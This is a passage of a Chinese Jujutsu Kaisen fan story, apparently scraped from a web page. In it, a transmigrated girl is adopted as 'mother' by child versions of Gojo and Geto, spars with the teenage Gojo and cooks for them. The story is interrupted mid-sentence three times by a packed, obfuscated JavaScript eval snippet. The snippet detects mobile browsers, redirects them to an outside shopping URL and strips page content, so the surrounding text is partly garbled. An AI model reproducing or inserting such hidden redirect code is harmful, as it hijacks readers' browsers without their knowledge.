“曾经?”沈清荷捕捉到了这个关键词。 她什么时候保护过他们? 她最多就是写过产出不少关于五夏的同人图,但那也算不上保护吧? “你们说的‘曾经’是什么意思?我们以前见过吗?”她追问,心中疑团不仅没有解开,反而像滚雪球一样越来越大。 幼年五夏再次对视,沈清荷敏锐的察觉到两个人的眼中都闪过一丝挣扎和痛苦。 “对不起,妈妈。我们不能说。”幼年杰垂眸,长长的睫毛掩去了眸中的情绪,“现在还不能说。说了,可能会有不好的事情发生。”他的语气里带着一种超乎年轻的谨慎和沉重。 “对,”幼年悟接话,握着沈清荷的手紧了紧,“妈妈只要相信我们就好了!我们不会伤害妈妈的!我们只是很想你,很想很想。”说到最后,他的声音又带上了那种孩子气的哽咽,蓝眼睛里迅速蒙上了一层水汽,这次似乎不是演技。 沈清荷看着眼前这两个用最真挚的眼神望着她,口口声声叫她妈妈,声称为她而来,要保护她,却对关键信息讳莫如深的小家伙,感觉到一阵无力。 硬的不行,来软的? 她放缓了语气,试着也能够哄孩子的口吻,“那你们告诉我,你们从哪里来的吗?是怎么找到我的?还有,你们的能力是怎么回事?刚才那个咒灵,你们是怎么解决的?” 幼年悟眨了眨湿漉漉的眼睛,似乎想说什么,幼年杰却轻轻摇了摇头。 “我们从一个很远的地方来的。”幼年杰选择性回答,我们是感觉到妈妈在这里,才照过来的。能力……”他顿了顿,是与生俱来的,就像妈妈能看见那些东西一样。” 又是这种模糊的、避重就轻的回答。 沈清荷知道,再问下去,恐怕也问不出更多了。这两个孩子,她敢肯定有着外表的意志,和一套完整的、拒绝透露核心信息的说辞。 他们似乎铁了心想要维持着“妈妈和儿子”这个设定,并且不惜一切代价也要留在她身边。 她看着他们紧紧握着自己的手,感受着那不容忽视的依赖和珍视,在想起他们之前面对咒灵时那轻描淡写的却威力惊人的手段,以及提及“保护”时眼中的决绝。 理智告诉她,高专很危险,这两个孩子很危险,所有的一切都很蹊跷。但内心深处也有一种因看见他们而慢慢滋生的信任。 或许是因为他们眼中的情感太过浓烈真实,又或者是因为他们此刻毫无攻击性的姿态,也或许是她孤身一人穿越至此,本能的渴望一点依靠和联结。 她叹了口气,妥协般的放松了肩膀。 至少目前看来,他们对她确实没有恶意,反而在努力的“保护”和“亲近”她。至于真相……来日方长。 “好吧。”她最终说道,语气却带着无奈和一丝认命,“既然你们这么说,那暂时就这样吧。但是,”她严肃地看着他们,“不许再给我惹麻烦!不许再随便用你们的能力!还有,在外面,尤其是在五条同学和夏油同学面前,注意点分寸!别老是说些奇怪的话!” 听到她的语气,幼年悟的蓝眼睛瞬间亮了起来,他用力点头,“我们听妈妈的!” 幼年杰也露出一个浅浅的、真正属于孩子的小人同,虽然转瞬即是,“好。” 沈清荷看着他们瞬间明媚起来的小脸,心头那点疑虑和无奈,又被那股“萌即正义”的力量冲淡了些。她抽回手,分别揉了揉他们的脑袋。 “好了,很晚了,先去洗漱,然后睡觉。”她起身,开始履行“临时妈妈”的职责,“明天还不知道会怎么样呢?” 兵来将挡水来土掩吧。带着两个谜团重重的“儿子”,在这个危机四伏的咒术世界活下来;并且如果可以的话,想办法改变那个已知的悲惨未来。 幼年五夏看着已经熟睡的沈清荷,终于伸手抬手抚上她的眉眼,小心翼翼的,近乎虔诚的描摹着,眼中流露出却是真实的痛苦。 “清清,那样的未来不会发生了,我们会和这个时代的我们,一起保护你。”幼年悟在她的眉宇间落下一个吻。 “小清,这一次我们一定要创造一个你也能够活下来的未来。”幼年杰说着也在她的额头上落下落一个吻。 另一侧的男生宿舍。 五条悟的房间里灯光大亮,各种游戏机、漫画书、零食包装袋散落一地,充分体现了主人随性的生活习惯。但此刻,房间里两位主人显然没心思关注这些。 五条悟盘腿坐在自己那张干净的床铺上,烦躁地抓着自己那头本来就容易乱翘的头发,墨镜被随意的丢在一边,露出那双苍蓝的眼睛,此刻里面却写满了难以置信和“莫挨老子”。 “哈啊!!!”他发出一声夸张的拖长音调的怪叫,整个人向后倒在床上,瞪着天花板,“开什么玩笑!老子才十六岁!十六岁!青春无敌美少年的五条悟!怎么可能会突然冒出两个那么大的儿子!还是两个!” 他猛地又坐起来,指着自己的脸,对着坐在对面椅子上,正慢条斯理泡茶的夏油杰吼道,“杰!你看老子这张脸!像是当爹的人吗?” 夏油杰将热水倒在茶壶里,氤氲的水汽模糊了他眸中一闪而过的深思。他端起小巧的茶杯,吹了吹热气,才不紧不慢地开口,“不像。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041400|194699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他抿了一口茶,放下杯子,看向抓狂的挚友,“但他们的长相,尤其是那个白发的孩子,和你实在太像了。六眼应该也给出了类似的反馈吧!那种血脉上的微妙共鸣。” 五条悟哼了一声,六眼微眯,“咒力很精纯,术式回路复杂地不像话,虽然受限于身体,但质量高的惊人。尤其是那个白毛小鬼……”他顿了顿语气,语气变得有些古怪,“六眼告诉我,如果他现在和我一样大,说不定比老子还厉害。” “我也有这样的感觉,他们的术式只是受限于身体,但咒力却相当精纯。”夏油杰也从幼年杰的身上有这样的感受,“如你所言,如果他们是我们的身体,的确比我们还要厉害。” “不仅仅是力量和长相的问题。”夏油杰放下茶杯,眼睛在昏暗的光线下显得有些深邃,“他们的行为,尤其是称呼。” 他看向五条悟,缓声道,“幼年的白团子称呼你为‘爸爸’,称呼我为‘父亲’;而幼年的黑毛团子称呼我为‘爸爸’,称呼你为‘父亲’。这听起来不像是简单的口误或者随机称呼。” 他抬眸看向五条悟,眸中带着几分探究,“更像是一种经过协商,或者说,某种‘规则’下的分配。仿佛在强调,他们与我们两人,都存在某种‘亲子’关联,但又有明确的区分。悟,你不觉得这很微妙吗?” 五条悟的蹙着眉头,“什么乱七八糟的!你的意思是,他俩觉得老子和你都他们的爹?双亲?还是什么共享爸爸的诡异设定?”他被自己的说法恶心到了,做了个嫌弃的表情,“这比老子突然有了儿子还离谱。” “确实离谱。”夏油杰承认,但语气依旧平稳,“但我总觉得他们似乎知道很多,却又在极力掩饰,只对我们,还有那位沈小姐,表现出强烈的归属感。” 提到沈清荷,五条悟像是找到了新的发泄点,嗤笑一声,“说到那个女人,沈清荷!无咒力的普通人,除了长得还算漂亮点,气质也还行,胆子好像也不小……但也就那那样吧!在咒术师眼里,跟路边的小石头有什么区别?哦,可能区别就是她能看得见咒灵,算是快会报警的石头。”他的语气刻薄,带着一种高高在上的批判,似乎想要通过贬低沈清荷来证明整个事件的荒谬性,“一无是处,莫名其妙的被卷进来,还成了两个怪小孩的妈妈。这剧情比烂俗电视剧还狗血!” “一无是处吗?”夏油杰若有所思的重复,“我倒觉得未必。一个毫无咒力、却能在直面咒灵后迅速冷静下来,并试图用我们可能理解的体系来解释自身情况的普通人,本身就很不普通。她的眼神很清澈,也不像是心怀叵测之人,而且……”他顿了顿,“她对那两个孩子态度也很耐人寻味。” “那又怎么样!”五条悟一脸理所当然地开口,“反正那才不是老子的儿子!” 夏油杰知道挚友的脾气,现在跟他争辩沈清荷的价值或者两个孩子的事情都没用。 临走之前,夏油杰看了一眼坐在懒人沙发上的五条悟,唇角微微勾起,“悟,你难道不好奇嘛?两个几乎是我们缩小翻版、还拥有精纯咒力的孩子,一个能看见咒灵的奇特‘妈妈’,这背后到底藏着什么故事?或许比祓除一百只咒灵都有趣的多。” 五条悟哼了一声,没说话,但眉头似乎松动了那么一丝丝。 无聊?确实有点。 麻烦?绝对。 但“有趣”? 夏油杰这个说法,微妙地戳中了他那颗对于未知和挑战永远充满兴趣的心。 他双手枕在脑后,闭上了眼睛。但脑海中却不由自主的浮现出那个黑发少女紧张却又挺直脊背的样子,以及那两个小鬼,尤其是那个白毛蓝眼的小鬼,扑过来抱住他腿时,那双眼睛里瞬间爆发的、几乎要将他淹没的、浓烈到不真实的情感。 麻烦,真是天大的麻烦! 但不知为何,十六岁的最强,那点因为一成不变的强大和枯燥任务而积攒的无聊,似乎被这突如其来的、荒诞绝伦的“家庭伦理剧”悄悄撬开了一道缝隙。 明天,又会发生什么有趣的事情呢? 4. 4.认输的勇气 沈清荷这一夜睡得并不踏实。 她的脑海中想的是有可能还在涩谷寻找她的闺蜜; 幼年五夏那执着又悲伤的眼神,还有那句笃定的不像是六岁孩子能够说出来的话,“你就是我们妈妈。” 以及dk五夏那两张脸,一个肆意张扬,一个温和疏离,而现在的他们还没有走到分道扬镳的岔路口。 最后她又梦见“故事”里的那些场景,从并肩同行的挚友,到新宿街头的分别,百鬼夜行后夏油杰的死,以及五条悟被腰斩的那一幕。 纷乱、不安、茫然、还有一丝被强行按捺下去的对未来的恐惧。 她是个无咒力的普通人,要怎么在这个咒灵满天飞的世界里活下去,更重要的是,她的那些负面情绪会不会产生咒灵? 天光微亮,她坐起来的时候转头看了一眼睡在身侧幼年五夏。 幼年悟睡得四仰八叉的,被子都踢掉了一半,幼年杰睡觉的姿势极为规整,但被子也被踢掉了一半,她小心翼翼的把两个人的被子往上拉了拉。 她既然无法从幼年五夏的口中得知真相,那现在她唯一能做的就是等,等他们愿意说。 愿意说出真相,为什么喊她“妈妈”又为什么非要认定五条悟和夏油杰? 她洗漱完向外面的地方走去。 清晨五点的高专空气清新,隐隐还能闻到青草的气息。 她按照昨天幼年悟说的那些话,寻到了高专训练场。 她原本是想要在训练场练几遍太极拳来静心,却一眼扫到边缘的一个大水缸,她几步走到水缸旁边,就发现里面的水清澈见底,正好可以用来练习水中太极。 她将水缸注满水,然后就开始静心练习水中太极。 ①“上善若水,水利万物而不争。” 她摈除心中一切杂念,脑海中只想着静心、沉淀,逐渐水缸里的水仿佛在她的手下有了生命,成为她双手延伸出去的一部分。 来到陌生的世界,周围是陌生的景色。 但她站在这里,能够感受到阳光、耳畔拂过的微风,能够听见虫鸣鸟叫,能够感受到万物皆在身侧。 我即世界,世界即我。 五条悟和夏油杰来到场边时,看见的便是这样一幕。 黑发少女周身并无咒力波动,却流转着一股极稳的“气”,柔和而圆融,与咒力截然不同。 两人对视一眼,并未上前道绕,只站在一旁,目光里带着几分不易察觉的深究。 “哟,清清妈妈,一大早就在这里玩水?” 耳边传来的声音让沈清荷的身体微微一僵,由于动作改变了力度,溢出来的水溅了沈清荷一身。 “杰,你说清清妈妈现在像不像是只落汤鸡?”五条悟歪着头,墨镜滑到鼻梁,苍蓝眼睛里漾着明晃晃的戏谑。 “悟,不要这么说。”夏油杰的脸上挂着温和的笑容,“沈小姐,你不要紧吧?” “清清妈妈,这水有什么好玩的。”五条悟拖长音调,笑得一脸灿烂,却无多少暖意。 沈清荷抬眸望去就看见五条悟和夏油杰肩并肩的站在不远处,五条悟的那双眼睛里带着促狭的笑意,夏油杰的脸上则是浅笑,但眼神却打量着她和身后的水缸。 “谁是你‘清清妈妈’!”沈清荷没好气的反驳,声音里带着几分专注运动后的恼意和羞赧,“我才十八岁!我叫沈清荷!不是什么‘清清妈妈!’” 五条悟对她的抗议充耳不闻,反而像是发现了什么更有趣的事,嘴角上扬,“那两个小鬼称呼你为‘妈妈’,称呼我为‘爸爸‘’,那我称呼你为‘清清妈妈’怎么了?” 他把“清清妈妈”几个字说的格外暧昧,“不叫清清妈妈,那叫清荷妈妈或者是小清妈妈?” 说出这两个称呼的时候,五条悟下意识的摇摇头,“那还是清清妈妈比较顺口”语气里依旧带着欠揍的样子。 他那副理所当然又故意挑衅的样子,彻底让沈清荷心里那点因为穿越以来种种憋屈、以及对未来的迷茫和恐惧全都在这一刻爆发出来。 一个精准又贴切的称呼脱口而出。 “鸡掰猫!” 沈清荷字正腔圆,清晰响亮。 五条悟脸上的笑容僵住了,墨镜的眼睛似乎睁大了一点。透出几分难以置信。 他长这么大,被人畏惧过、崇拜过、暗杀过、但好像从没有人被人用这种奇怪又生动的词汇当面骂过? 虽然听不懂具体意思,但结合语境和对方咬牙切齿的表情,这绝对不是什么好话。 旁边的夏油杰先是一愣,随即肩膀可疑的抖动起来,他迅速抬手遮掩,但弯起的眉眼和漏出的笑声,彻底出卖了他。 她正在思考怎么找补的时候就听见五条悟的再次声音响起,比先前多了点探究,却依旧拖着那恼人的腔调,“喂,清清妈妈,这是什么意思?你刚才,是在骂我吧?” “不要叫我‘清清妈妈!’”沈清荷心里原本因为失言而带来的那点悔意瞬间烟消云散。 她看着站在面前的那副“天上天下,唯我独尊”的拽样,一个想法油然而生。 “五条同学。”她开口,语气平静却带着清晰的挑衅,“光耍嘴皮子多没意思,我们来打一场,怎么样?” 她顿了顿又补充了一句,“但不能用咒力就是纯体术。” 五条悟兴趣立刻被转移,挑眉看向她,苍蓝雅尼就那个从墨镜边缘完整露出来,上下扫视着她,目光里写满了毫不掩饰的惊奇和玩味,“哈?打一场?你?跟老子?”眼神里满是“你确定你没睡醒”的意味。 “互相切磋。”沈清荷理所当然地开口,仿佛在提议一件再平常不过的事。 五条悟:??? “打,还是不打?” “好啊。”五条悟扯出一个肆意的笑容,将墨镜推到头上,露出完整的苍蓝眼眸,“既然清清妈妈这么有兴致,老子就陪你玩玩。放心,不用咒力。只用体术。” 沈清荷的太极拳练了十四年,经验全都是靠着比赛积累。 接下来的几分钟,沈清荷将十四年苦练太极的功夫发挥的淋漓尽致。始终贯穿着“以静制动、以柔克刚”的原则。 但沈清荷也清楚,绝对的差距无法逾越。 五条悟的速度、力量、反应都是怪物级别,不愧是最强。 终于五条悟抓住一个空隙,突破了她的防御圈,轻轻按在她的肩胛骨的位置,没有用力,只是轻轻一推。 沈清荷只觉得一股无法抗拒的柔和力道传来,脚下顿时不稳,向后退了七八步,就在她以为自己要摔倒时,五条悟又伸手拉了她一把,稳住身形。 输了,毫无悬念。 “清清妈妈,你这套拳法又有点意思啊。”五条悟收回手,眼底兴味更浓,“和谁学的?” 她擦拭着额头的汗水,将目光落在五条悟身上。 “我打不过你,我认输。”她语气坦然,没有丝毫的扭捏,“但我不认为我的能力有问题。” 察觉到五条悟投过来的目光,沈清荷继续道,“你是最强,实战经验多,是真正生死搏杀中磨练出来的。而我的经验,更多积累于正规的比赛赛场,环境不一样,锤炼出来的东西也不一样。” 她顿了顿之后又继续补充道,“今天输给你,是我自身修为不够,应变不及。还有,” 她迎上五条悟的那双苍蓝瞳孔一字一句道,“不要再在叫我‘清清妈妈’。鸡掰猫!” 她转过身,看着水缸中已经恢复到自然状态的清水,将散落的黑发别到耳后,轻声呢喃,“毕竟,在这个地方,我大概也只有这点东西,还能拿得出手了。” 五条悟和夏油杰对视一眼,都从对方的眼中看到了同样的答案:这个从天而降的带着两个“儿子”的沈清荷,似乎比他们最初预想的,要有意思的多,也没那么简单。 至于“鸡掰猫”到底是什么意思?五条悟决定晚点偷偷去查查。 沈清荷转头看了一眼站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041401|194699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后的dk,露出一个灿烂的笑容,“那我先回去了。” 沈清荷回宿舍的途中在脑海中复盘着和五条悟的这场对战,思考在下一次的对战中又如何能够更快的应对。 回到临时安排的房间,推开门,就看见睡在床边幼年五夏。 床铺上两个小家伙似乎被刚刚开门细微声响惊动,正迷迷糊糊的揉眼睛坐起来。 幼年悟的白发睡得乱七八糟,几缕发丝微微翘着,他一边用手揉着眼睛,一边打着呵欠。 幼年杰则安静一些,黑发同样有些凌乱。他正慢吞吞的坐起来,眼睛半睁半闭,还带着未褪的睡意。 awsl! 沈清荷内心瞬间发出无声尖叫,所有的茫然、以及对未来的恐惧都在这一刻被击碎的七零八落。 这就是可爱到爆炸的幼崽,还是幼年版最强! 沈清荷几步走到他们两个人的面前,眉眼弯弯,“醒啦?” 幼年悟看见沈清荷的身影,蓝眼睛瞬间亮了起来,残留的睡意一扫而空,张开小手就朝她扑过来,“妈妈!你回来啦!” 幼年杰也彻底清醒了,紫眸恢复了平日的沉静,但看着沈清荷的眼神也同样充满了依赖和欢喜,轻声唤道,“妈妈,早安。” “早安,悟,杰。”沈清荷回应着,伸手戳了戳他们两个人的脸颊。 戳脸显然不过瘾,沈清荷的又伸手揉了揉他们的发顶。 最后她几乎是没有经过大脑思考,遵循着内心最直接的冲动,弯下腰,先是在幼年悟的眉宇间落下一个吻,然后又在幼年杰的额头上落下一个吻。 两个小家伙从呆滞的中回神,立即一左一右的抱住她的手臂。 “妈妈亲我了。” “嗯,妈妈亲我们了。” 沈清荷感受着他们毫无保留的喜悦和亲近,心情那点因为穿越和位置而产生的最后一丝冰冷隔阂,仿佛被被这温暖的依偎彻底融化了。 既来之,则安之。她想。 至少她怀中的两个小家伙会因为她的“早安吻”而开心。 至少此刻的温暖是真实。 但沈清荷不知道的是,沈清荷的早安吻,通过幼年五夏的“共感”,汹涌传递给了这个时间点上的“自己”。 “好啦,快点起来吧。”沈清荷看着他们两个人眉眼弯弯,伸手理理他们被翘起来的头发。 幼年五夏很快就换上了昨天他们穿的那套衣服。 幼年悟走过来牵住她的手,“妈妈,今天叫爸爸带你去买衣服吧,爸爸有很多很多钱。” 沈清荷抬手扶额,正想要开口就听见幼年杰的声音响起,“妈妈的确需要买衣服,还有妈妈和我们都需要新的终端,妈妈不能一直穿同一件衣服。”他也走过来自然而然的拉住她的手。 “那我们先去吃早饭?”沈清荷低头看了一眼身边两个幼崽。 “好,我们带妈妈去食堂。”幼年五夏的声音同时响起。 在沈清荷看不见的地方,幼年五夏快速的交换一个眼神。 他们不能把自己的身份告诉给他们,也不能说出自己来自什么地方,那样可能导致世界线偏移。 到时候不仅无法保护这个世界的沈清荷,说不定会得到一个更糟糕的“未来” 所以共感就是最好的桥梁,是宣告也是试探。 因为按照这个世界“自己”的性格,他们肯定都无法将这种别扭的事情问出口。 十六岁的五条悟,强大、孤独、目空一切;觉得世界无聊又麻烦,才不会喜欢那种黏糊糊的感情,心中想的都是“爱是最扭曲的咒灵。” 十六岁的夏油杰,看似温和理性,估计还在为心中的“大义”而烦恼,对非术士的隔阂与日俱增,只是目前还没有找到爆发的临界点。 但是不要紧,他们可以共感,让这个世界的“自己”察觉到他们的心意,这就够了。 他们这一次,一定会守住。 一定会有一个不一样的未来。 5. 5.奇妙的共感 沈清荷带着幼年五夏出现在食堂门口时,正好遇见五条悟和夏油杰两个人。 他们两个人状态看上去有点不对劲。 五条悟不见方才那副“天上天下,唯我独尊”的散漫模样,夏油杰脸上的温和笑意也僵了一瞬。 沈清荷还没有开口,就听见幼年悟的声音已经响起,“爸爸,父亲,早上好!” 幼年杰抬眸,语气平静认真,不像幼年悟那般雀跃,反倒透出几分端正的尊敬,“爸爸,父亲。” 五条悟盯着幼年悟看了几秒,正准备伸手戳他脑门,幼年悟却忽然仰起脸,蓝眼睛亮晶晶的。 “爸爸,妈妈早上亲我了哦,超温柔地!”他伸出小手指了指自己的额头,“亲在这里。” 五条悟手下的动作顿住。 这个孩子他是故意的! 幼年杰拉着她的衣服袖子,脸上也全然是孩子的依赖,“嗯。妈妈很温柔。全世界,最喜欢妈妈。” 沈清荷耳根一热,“别、别在这里说这些啊!” “可妈妈就是妈妈嘛!”幼年悟说着就抱住她的手臂,脸颊贴上来,“我要让全世界都知道,我最喜欢妈妈了。” 沈清荷心中一软,低头揉了揉他的头发,“好好好,我也最喜欢你了。” 幼年悟仰头看着她,快速掩去眼底一闪而过的情绪,“嗯!” 听着他们毫不掩饰的话,沈清荷又笑着捏了捏两人的小脸。 站在对面的五条悟和夏油杰,看见这一幕,身形几不可察地又僵硬了几秒。 高专食堂的早餐有些单调,虽然比起白人饭相对好些,但做为她这种人来说,最擅长的就是自己做饭。 “你们在这等我一下。” “妈妈要去做饭吗?”幼年五夏几乎是异口同声。 沈清荷弯下腰,眉眼弯弯,“我去看看有什么食材,给你们改善一下伙食。”说着,还俏皮的对着他们眨眨眼。 目送她转身走向厨房,五条悟视线落回幼年悟身上,蹙着眉头,语气里掺进一丝不易察觉的烦躁,“喂,小鬼,别把那种黏糊糊的感情往老子这儿传,老子不需要这些。” “爸爸在说什么呀?”幼年悟歪着头,小圆墨镜滑下些许,露出那双写满纯粹疑惑的苍蓝眼睛,“什么黏糊糊的感情?那是什么?” “总之!”五条悟抓了抓自己白发,语气更加不耐,“那些没用的东西,少传过来!” “爸爸。”幼年悟的声音忽然低了下去,眼睛瞬间蓄满水汽,连小圆墨镜都挡不住那份泫然欲泣地控诉,“爸爸又不想要妈妈和我们了吗?我保证,以后每天只吃一盒限量版喜久福,再也不多要了。” “父亲,请放心。”幼年杰抬眸看向五条悟,又看向一边的夏油杰。 虽然没有直言委屈,但那目光里恰到好处的黯淡,却比言语更戳人心口,“我们会照顾好妈妈的。” “闭、嘴!”五条悟从牙缝里挤出两个字,又一次用力揉了揉自己的头发。 在两位dk看不见的角度,幼年五夏的小手在身后相握。 另一边的厨房里,沈清荷已经和食堂阿姨商量好,借用了灶台。她用剩余的米饭,配上玉米粒、青豆、虾仁、鸡蛋和火腿等食材炒了一大份的扬州炒饭。 又用冰箱里的食材做了一份缺少西米的杨枝甘露。 等她端着扬州炒饭和杨枝甘露走出来时,就看见幼年五夏与dk五夏面对面坐着,大眼瞪小眼,仿佛之前进行过一场无声的微妙对峙。 “妈妈,好香呀!”幼年悟率先开口,“这是什么?” 沈清荷将扬州炒饭放到桌上,唇角弯起柔软的弧度,“这是扬州炒饭。旁边是杨枝甘露,是我用芒果、柚子肉和牛奶调的,虽然没有西米,但味道还不错。” 她说着,先为幼年五夏各盛了一小碗炒饭,随即抬眸看向左手边的两位dk,“你们要尝尝看吗?我的手艺……应该还不错?” “爸爸,妈妈做饭可好吃了!”幼年悟嘴里塞得满满的,声音含糊却雀跃,“快点尝尝,比喜久福还好吃哦!” “爸爸也吃。”幼年杰咽下口中的饭粒,看向夏油杰。 五条悟和夏油杰对视一眼,终究还是各自拿起碗筷,添了些炒饭。 “老子倒要看看,有没有这小鬼说的那么夸张……” 五条悟舀起一勺送进嘴里,话音却顿住了。 米饭粒粒分明,均匀的裹着鸡蛋液,所有的食材融合在一起,味道竟然出乎意料的不错。 沈清荷留意到他细微的停顿,微微勾起唇角。 一大盘扬州炒饭很快见底。 五条悟速度最快,连他那份杨枝甘露也吃的干干净净,随后抬眸看过来,小圆墨镜后的蓝眼睛落在她身上。 “清清妈妈,这个还有吗?” “五条同学!”沈清荷叹口气,“都说了,不要再叫我‘清清妈妈’了!” 然而,望着那张与幼年悟如出一辙地白发蓝瞳的面容,曾经只存在于二次元的“纸片人”,此刻却鲜活的坐在她触手可及的地方。 不再是隔着一层无法逾越的次元壁。他就真实的、带着呼吸与温度,坐在她的左手边。 还没有和挚友分道扬镳、还没有觉醒反转术式、还没有经历后来那么多事,只存在于当下她眼前活生生的十六岁肆意飞扬的那个自称“天上天下唯我独尊”的五条悟。 “清清妈妈,老子很帅吧!” 五条悟带笑的声音传入耳畔,沈清荷神色一僵,随即将自己面前那碗还没有动过的杨枝甘露推到他手边。 “我还没碰过。”她抬眸看向五条悟,语气自然,“五条同学不介意,请用。” 五条悟的目光落在她脸上。 那双看向他的眼睛,宛于黑曜石一般,漆黑清润,里面没有敬畏、没有疏离,甚至没有对待“最强”或“神子”的特殊隔阂。 仿佛在她眼中,他只是五条悟,一个可以分享一碗甜品、寻常的十六岁少年。 心底因为“共感”带来的那点说不清道不明的微妙燥意,竟在这一瞬间无声的消散几分。 他没说话,端起那碗杨枝甘露,舀起一勺送入口中。 沈清荷没有再去看五条悟脸上的表情,反而将目光重新落回幼年五夏身上,声音放低,“你们中午或者晚上,有没有特别想吃的?我给你们做。” “我要吃菠萝咕咾肉!还有糖醋里脊!”幼年悟立刻举手,“妈妈做的最好吃了!!” “我要吃妈妈做的口水鸡,还有肉末豆腐。”幼年杰小口咽下杨枝甘露,细声补充。 “晚上可以吃排骨焖饭吗?”他想了想,又补充一句。 “没问题呀。”沈清荷笑着应下,“不过我要先去看看食堂里有没有这些食材。”她话音微顿,眼底带着几分疑惑,“不过你们怎么会知道这些中国菜的名字?” “因为妈妈以前一直做给我们吃。”幼年五夏几乎是同时开口。 幼年悟说完,又用力抱紧她的手臂,把脸颊贴上去,声音忽然低了些,“只是后来妈妈再也没有做过了。” 沈清荷的心蓦地一软,她伸手揉了揉幼年悟的脑袋,“那我以后经常给你们做好不好。” “嗯。”幼年杰低低应了一声,小手默默攥紧了她的衣袖,指尖微微收紧。 “爸爸,妈妈没有钱。”幼年悟转向五条悟,语气里带着几分理直气壮,“你和父亲带妈妈一起去逛街买衣服。” 沈清荷耳根一热,急忙开口,“五条同学,就当是我借的。我来这里确实……身无分文。” 五条悟“啧”了一声,却还是懒洋洋应下,“行啊。就当抵了今天这顿早饭。” 幼年悟雀跃着开口,“爸爸,我要吃毛豆奶油喜久福!不过,”他话音一转,抱住沈清荷的手臂,“妈妈做的甜品,比喜久福还好吃!是天底下最好吃的甜品!” 五条悟伸手,食指不轻不重的按了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041402|194699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幼年悟的脑门,墨镜后的目光却带着探究,“哈?不仅同名同姓,术式一样,连口味都和老子一模一样?” “因为你是我‘爸爸’嘛!”幼年悟回答的理所当然,“所以口味当然一样啦~而且妈妈说过,‘爸爸’最厉害了!她最崇拜的就是爸爸了!” 沈清荷:???!!! 她绝对、从来没有、说过这种话! 还有小悟,你的戏是不是太多了一点! “清清妈妈,”五条悟的声音慢悠悠的响起,带着理所当然的意味,“刚才这两个小鬼说的那几道菜,老子也要吃。” 沈清荷还没有来得及回应,他已经从口袋掏出终端,指尖在屏幕轻点几下,将通话放到耳边。 “喂,是老子。”五条悟对着终端开口,语气随意,“送点东西来高专。对,菠萝、排骨、鸡肉、豆腐、相关的食材都送一批过来,要最好的那种。” 他甚至没等对方回复,就直接切断了通讯。小圆墨镜微微下滑,苍蓝的眼眸从墨镜边缘看向她,唇角带着一点理所当然的弧度,“食材管够。” 真·御三家·少主·做派。 夏油杰此时也已吃完面前的杨枝甘露。他放下勺子,眉眼舒展,也带着少年人特有的柔和,“很好吃。沈小姐费心了。” “你们喜欢就好。”沈清荷客气的回应,“不过我来这个世界之前是中国人,所以不太会做和食料理,如果不介意……” “当然不介意!”幼年悟想也不想地接话,“妈妈做的中国料理最棒了!全世界最爱吃的就是妈妈做的中国菜!” 沈清荷听着孩子毫不掩饰的偏爱,又一次伸手揉了揉两个人的脸颊。 而她全然未曾察觉,对面少年之间,那无声交汇的、微妙的一瞥。 :“走了,清清妈妈。”五条悟忽然从座位上起身,动作干脆利落,“不是要去逛街?这小鬼说得对,你身无分文,总得买点生活用品。” 他说着,已经迈开脚步。 夏油杰也随之起身,朝她轻轻颔首,示意同行。 沈清荷望着那两道径直离开的背影,又低下头看向身侧的幼年五夏,轻声道,“他们俩是不是心情不太好?” 她说不出具体缘由,但dk五夏身萦绕的“气”和她早上看见的时候不太一样,仿佛各自怀揣着心事。 “爸爸和父亲都很好,妈妈不用担心。”幼年悟握紧她的手,声音轻快,“现在,我们跟着爸爸去逛街,给妈妈买新衣服!还有新的终端!” 沈清荷抬眸望去。 前面五条悟迈着那副“六亲不认”的步伐,夏油杰与他并肩,她的脑海中想起一些有趣的场景。 至少,这个时候他们还是挚友; 至少,这个时候夏油杰心中的那些“大义”才刚刚萌芽,还没有偏执到那样的程度。 沈清荷牵着两个孩子的手,加快脚步跟上。 还没有走多远,幼年悟忽然停下,抬头拖长音,“爸爸,我走不动了,要抱抱。”话音未落,他已小跑着扑过去,一把抱住五条悟的大长腿。 “爸爸,我也累了。”幼年杰抬起沉静的眼睛,望向夏油杰,“可以抱抱我吗?” 五条悟“啧”了一声,神情不耐,却还是弯腰,一把将幼年悟捞进怀里。 他正要开口说话,就听见幼年悟的声音响起,“爸爸最好了~爸爸不愧是最强~所以爸爸今天能不能给我买两盒限定版毛豆奶油喜久福!” 幼年杰则是乖乖趴在夏油杰的肩上,可那双眼睛却一刻不离地看着她,眼底深处沉淀着沈清荷看不懂的悲伤。 颖颖宝贝、安沫姐、悠悠、姝姝、悦悦; 她在心中轻念着那些再也触不到的名字。 你们看,在这个混乱的像家庭伦理剧的剧本里,我好像也找到了一点属于自己的位置和价值。 请你们保佑我,在这个世界好好活下去。 活到,能和你们再次重逢的那一天。 6. 